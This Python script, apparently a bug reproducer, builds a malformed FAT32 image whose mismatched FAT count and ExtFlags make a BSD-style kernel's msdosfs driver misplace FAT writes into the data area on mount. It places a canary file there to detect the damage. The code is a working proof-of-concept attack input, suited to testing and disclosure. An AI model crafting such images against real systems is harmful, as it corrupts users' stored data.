#!/usr/bin/env python3
"""
DF-3132 -- craft a FAT32 image with:

    bpbFATs   = 1            (pm_FATs == 1)
    bpbExtFlags = 0x80|0x0F  (FATMIRROR bit set -> pm_curfat = 15,
                              pm_FATs never validated against it)

mountmsdosfs (sys/vfs/msdosfs/msdosfs_vfsops.c:409-410) then sets
pm_curfat = 15 while pm_FATs = 1, and fatblock()
(sys/vfs/msdosfs/msdosfs_fat.c:87) computes

    bn += pm_fatblk + pm_curfat * pm_FATsecs

for ALL FAT reads AND writes -> every FAT update on a RW mount lands
15*FATsecs sectors past the real FAT, i.e. inside the data area
(kernel-mediated corruption of the mounted medium).

Layout (64 MiB, 512B sectors, 8-sector FAT):
    resvd 32 (incl FSInfo@1 + backup@6), FAT @32 len 8, data @40,
    root dir = cluster 2 (sector 40).  curfat=15 => FAT I/O @ sector
    32 + 15*8 = 152 (data cluster 30 area).

A canary file CANARY.BIN owns clusters 30..33 (sectors 152..167, where the
misplaced FAT writes land), filled with 0xAA.
"""
import struct, sys

BPS = 512
TOTSEC = 131072            # 64 MiB
RESV = 32
NFATS = 1
SPC = 4                    # 2 KiB clusters
FATSEC = 8
MEDIA = 0xF8
FIRSTCL = RESV + NFATS * FATSEC    # 40


def direntry(name, ext, attr, cluster, size, first=False):
    e = bytearray(32)
    e[0:8] = (name + ' ' * 8)[:8].encode()
    e[8:11] = (ext + ' ' * 3)[:3].encode()
    e[11] = attr
    struct.pack_into('<H', e, 20, cluster >> 16)
    struct.pack_into('<H', e, 26, cluster & 0xFFFF)
    struct.pack_into('<I', e, 28, size)
    if not first:
        e[0] = ord(name[0])
    return bytes(e)


def build(outpath):
    img = bytearray(TOTSEC * BPS)

    img[0] = 0xEB; img[1] = 0x58; img[2] = 0x90
    img[3:11] = b'MSDOS5.0'
    struct.pack_into('<H', img, 11, BPS)
    img[13] = SPC
    struct.pack_into('<H', img, 14, RESV)
    img[16] = NFATS
    struct.pack_into('<H', img, 17, 0)           # RootDirEnts=0 -> FAT32
    struct.pack_into('<H', img, 19, 0)           # Sectors16=0
    img[21] = MEDIA
    struct.pack_into('<H', img, 22, 0)           # FATsecs16=0
    struct.pack_into('<H', img, 24, 32)          # SPT
    struct.pack_into('<H', img, 26, 8)           # heads
    struct.pack_into('<I', img, 28, 0)           # hidden
    struct.pack_into('<I', img, 32, TOTSEC)      # HugeSectors
    struct.pack_into('<I', img, 36, FATSEC)      # BigFATsecs
    struct.pack_into('<H', img, 40, 0x80 | 0x0F)  # ExtFlags: mirror bit SET, active FAT 15  <-- DF-3132
    struct.pack_into('<H', img, 42, 0)           # FSVers
    struct.pack_into('<I', img, 44, 2)           # RootClust = 2
    struct.pack_into('<H', img, 48, 1)           # FSInfo sector
    struct.pack_into('<H', img, 50, 6)           # backup boot sector
    img[510] = 0x55; img[511] = 0xAA

    # FSInfo
    fsi = BPS
    struct.pack_into('<I', img, fsi + 0, 0x41615252)
    struct.pack_into('<I', img, fsi + 484, 0x61417272)
    struct.pack_into('<I', img, fsi + 488, 0xFFFFFFFF)   # free count unknown
    struct.pack_into('<I', img, fsi + 492, 0xFFFFFFFF)   # next free unknown
    # backup boot @6: skip (msdosfs does not require it)

    # FAT: cluster chain
    fat = bytearray(FATSEC * BPS)
    fat[0] = MEDIA; fat[1] = 0xFF; fat[2] = 0xFF; fat[3] = 0x0F  # eoc pattern for FAT32 media entries
    # root dir = cluster 2 -> 3 -> 4 -> 5 -> EOC (4 clusters = 8 KiB)
    def eoc(c):
        struct.pack_into('<I', fat, c * 4, 0x0FFFFFF8)
    def nxt(c, n):
        struct.pack_into('<I', fat, c * 4, n)
    nxt(2, 3); nxt(3, 4); nxt(4, 5); eoc(5)
    # CANARY.BIN = clusters 30..33 -> EOC  (sectors 152..167 = the misplaced-FAT landing zone)
    nxt(30, 31); nxt(31, 32); nxt(32, 33); eoc(33)
    img[RESV * BPS:RESV * BPS + len(fat)] = fat

    # root directory @ cluster 2 (sector 40): 8 KiB, entries:
    #  "." / ".."  (self/parent) + CANARY.BIN (8 KiB at cluster 30) + slot end
    def putdir(cluster, entries):
        off = (FIRSTCL + (cluster - 2) * SPC) * BPS
        i = 0
        for e in entries:
            img[off + i * 32: off + i * 32 + 32] = e
            i += 1
        img[off + i * 32] = 0x00

    root = [
        direntry('.       ', '   ', 0x10, 2, 0, first=True),
        direntry('..      ', '   ', 0x10, 2, 0),
        direntry('CANARY  ', 'BIN', 0x20, 30, SPC * BPS * 4),   # 8 KiB canary
    ]
    putdir(2, root)

    # canary data clusters 30..33 (sectors 152..167): 0xAA except the first
    # 8 sectors, which carry a COPY of the real FAT so the displaced FAT
    # reads (also via curfat=15) see a workable filesystem.
    for c in range(30, 34):
        off = (FIRSTCL + (c - 2) * SPC) * BPS
        img[off: off + SPC * BPS] = b'\xAA' * (SPC * BPS)
    img[152 * BPS: 160 * BPS] = img[RESV * BPS: (RESV + FATSEC) * BPS]

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: FATs=%d extflags=0x%04x -> pm_curfat=15; FAT@%d "
          "len %d; misplaced FAT I/O lands @ sector %d (data clusters 14+)"
          % (outpath, NFATS, 0x80 | 0x0F, RESV, FATSEC, RESV + 15 * FATSEC))


if __name__ == '__main__':
    build(sys.argv[1])
